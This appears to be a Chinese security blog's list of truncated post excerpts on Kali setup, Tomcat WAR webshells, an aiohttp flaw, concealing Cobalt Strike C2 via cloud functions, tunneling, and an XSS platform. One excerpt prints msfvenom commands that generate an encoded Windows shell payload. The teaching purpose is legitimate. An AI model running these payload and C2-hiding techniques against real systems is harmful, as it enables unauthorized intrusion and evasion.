由于博客发图片有问题，麻烦移步到QQ频道【（免Root）Termux-x(手机)安装并运行Kali傻瓜式教学】（免Root）Termux-x(手机)安装并运行Kali傻瓜式教学自动执行脚本以及汉化，总有小伙伴还是摸不清...

漏洞描述Tomcat 支持在后台部署 war 文件，可以直接将 webshell 部署到 web 目录下。其中，欲访问后台，需要对应用户有相应权限。Tomcat7+ 权限分为：manager（后台管理）manager-gui 拥有 html...

漏洞描述aiohttp 是一个基于 asyncio 和 Python 的异步 HTTP 客户端/服务器框架。在将 aiohttp 用作 Web 服务器并配置静态路由时，必须指定静态文件的根路径。此外，可以使用 follow_symlinks...

推荐阅读： 1、简介 在我们上线cs时，常会考虑这样一个问题。如果直接暴露cs服务端的IP地址，岂不很危险。于是我们通过云函数来上线我们的CS从而保护服务端IP。对于攻击者而言，隐藏自己的C2是...

 

安卓shell电脑使用adb下载地址：Windows版本：https://dl.google.com/android/repository/platform-tools-latest-windows.zipMac版本：https://dl.google.com/android/repository/platform-tool...

推荐阅读前言不是很想在电脑上装双系统，所以选择使用比较方便的wsl。也不想使用虚拟机，还有大家在初学的时候，需要安装Kal的时候，一般有两个选择。1，虚拟机，对系统影响较小，切换方便。但...

关于NPSnps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发，可支持任何tcp、udp上层协议（访问内网网站、本地支付接口调试、ssh访问、远程桌面，内网dns解析等...

 

说在前面首先很重要的是授权 ~ 首先很重要的是授权 ~ 首先很重要的是授权 ~之前也看过很多关于渗透测试的文章，但是因为一些现实因素等等问题，没（bu）有(gan)真正实操，最近由于一次偶然的机...

一. XSS系统介绍集合 XSS平台+探针平台+DNSLOG平台  = 海鸥系统。相比于其他XSS平台你的有啥优势？1. 支持微信+Email通知2. 一键切换各种类型功能，无需二次插入所有功能全部随意按钮切换，...

生成反弹shellmsfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe加密编码反弹shellmsfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lpor...

更新flipper zero教程进阶版的来啦（香港中文版），共20集课程的进阶和补充，里面有各种有趣玩法，实战内容.（附送汉化固件）第1集：Flipper Zero入門超基礎功能介紹及簡介(中文廣東話版本)第2...